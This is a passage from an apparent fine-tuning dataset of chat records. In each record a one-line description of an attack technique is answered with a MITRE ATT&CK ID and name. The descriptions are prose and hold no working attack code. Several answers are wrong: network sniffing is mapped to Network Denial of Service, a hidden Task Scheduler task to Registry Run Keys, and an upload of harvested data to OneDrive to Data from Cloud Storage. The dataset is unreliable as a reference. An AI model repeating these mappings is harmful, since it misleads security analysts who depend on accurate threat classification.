                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary copies encrypted files from the user's local drive and attempts to decrypt them after exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups deploy a credential dumper to pull Exchange admin passwords and retrieve all user mail."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is signed with a self-generated certificate that mimics a known vendor, allowing it to bypass code integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host executes a lightweight HTTP request to a remote server; the success of the request is used to infer that the system has an active internet connection."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to the Kubernetes API and creates new ClusterRole bindings to grant themselves admin privileges on all namespaces."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disables the server's hardware security module (HSM), forcing all cryptographic operations to fall back to software."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the operating system to retrieve the computer's physical address and GPS coordinates for later use."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a scheduled task called 'Updater' with the command 'cmd.exe /c start C:\\malware\\inject.exe' set to trigger at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the attacker aggregates stolen data into a zip archive placed in /tmp/staging before transmission."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day in the GPU firmware was exploited to corrupt the graphics firmware, granting the attacker kernel‑level persistence."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised the login page of a corporate VPN portal, injecting malicious JavaScript that logs every user’s credentials as they sign in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By crafting a fake SAML token signed with a stolen private key, the malicious actor authenticates to the target application as an administrator."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the Windows Registry to replace a legitimate service with a malicious one, allowing the attacker to run with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script is scheduled via a systemd timer with Persistent=true, ensuring the payload runs even after system restarts."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script file is attached to a chat message; the recipient runs the script, triggering the attack."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages Azure Automation Runbooks to schedule the execution of a ransomware payload across multiple VMs."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows InstallUtil command, the intruder launches a payload disguised as a legitimate service installer to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a custom TLS-wrapped protocol over a public web service to achieve continuous bidirectional command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A signed LSASS driver is dropped onto the host and set to autoload, granting the attacker system-level execution."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool drops a custom network provider DLL to manipulate token impersonation and elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gained administrative access to the victim's DNS server and modified zone files to point legitimate domains to malicious IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After collecting logs, the attacker uses a bespoke compression script to create an archive for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Control.exe is called with crafted arguments to invoke a hidden PowerShell command, enabling persistence on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a public-facing web server vulnerability to gain initial foothold on the network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider installs a hardware‑based keylogger on a workstation, capturing all typed commands and sending the logs to a remote server via FTP."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the victim's existing Outlook rules to forward all incoming messages to an external server and execute a payload on message receipt."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the PubPrn COM object, the attacker injects a malicious script that is automatically run by the Windows print spooler service."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen Kerberos ticket-granting tickets, the adversary accessed privileged resources across the domain."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs a brute-force enumeration of possible email usernames via the SMTP VRFY command on the mail server."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses reversible encryption to hide captured OTP codes, enabling them to reuse the codes for unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit alters the KernelCallbackTable entries, hijacking execution flow and achieving persistence at the kernel level."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro dropped an .hta file and then called mshta.exe to run it, achieving execution with the same privileges as the user account."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor signs up for a cheap VPS provider and deploys a malicious web service to host command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a WMI query for Win32_ComputerSystem to obtain the logged‑in user's name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code alters the SSH client configuration on a Linux host to disable support for newer protocol versions, causing connections to fall back to the insecure SSH‑1 protocol."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new Windows service named 'svchost' that runs a malicious DLL with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macros are embedded in a Word document that execute when the user opens the file, launching a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor edits the HKCU\\Software\\Classes registry keys to set a custom handler for image files, causing a ransomware payload to launch when images are opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds the \"Data Engineer\" role to a compromised Google Cloud service account to read and write big‑data resources."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a worm that scans for removable storage devices and duplicates itself onto them, using the devices to transport the infection to offline networks."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder signs up for a Snapchat account using a compromised phone number to send deceptive friend requests to targeted individuals."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat is achieved by registering a faulty kernel module in the Linux kernel's /etc/modules-load.d directory."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvesting tool queries the driver stack via the IoGetDeviceObjectPointer function to identify drivers handling authentication."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the hardware security module (HSM) on the server, preventing cryptographic operations from being performed in a protected enclave."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim machine authenticates to the victim's OneDrive account and uploads harvested data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT campaign utilizes a one-way web service, transmitting stolen credentials via encrypted POST requests that the server silently records."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a malicious entry to the “HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA” to disable UAC."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker maps trust relationships across the victim's network, identifying which systems have privileged access to domain resources."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts service enumeration by probing common ports to map available services across the corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user double-clicks on a compromised PDF that exploits a known vulnerability, leading to code execution."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new Windows service that launches a PowerShell payload each time the system boots, allowing persistence with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious browser extensions capture and exfiltrate QR codes used for MFA enrollment, enabling the creation of duplicate authenticator entries."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-browser technique, the actor intercepted and harvested the session cookie, then reused it to bypass MFA checks."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Odbcconf utility, the attacker achieves privilege escalation through DLL side‑loading."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a custom wrapper that erased all known signatures from the payload to bypass indicator-based security rules."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests session cookies from the Edge browser's SQLite database."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the native archive.dll API to bundle sensitive files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of shared modules, the threat actor achieves privilege escalation by loading a malicious library into a high‑privilege process."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin token, the attacker ran ProcDump to create a full memory dump of the LSASS process for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the server's mail transport agent with a malicious version to intercept and forward outgoing emails."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program uses the EnumServicesStatusEx API to retrieve a full list of system services for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script captures video frames from the screen when a specific application is active and saves them."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ steganography to hide stolen images within benign PDFs and exfiltrate them via email."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs an MSI installer that silently registers a Windows service to execute a backdoor during boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised advertising network to serve malicious JavaScript that automatically exploits browsers of site visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new domain user account via the net user command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a unit file that starts a backdoor process and writes logs to /var/log/malicious.log."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a space after the filename to obscure the true file type, allowing the malicious file to blend in with legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members conduct reconnaissance by searching internet‑visible sites and domain listings for target details."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages Task Scheduler to create a hidden task that runs at system startup with highest privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerated all connected USB devices on the compromised host to identify potential exfiltration points."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code used the 'net group' command without specifying a group name to retrieve a list of all domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic DNS entries are updated every 30 seconds to point to new malicious servers in a fast-flux architecture."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target organization's internal network infrastructure using sniffing techniques."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abused a misconfigured Azure storage account to retrieve stored access tokens for privileged cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group creates a hidden local account for backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
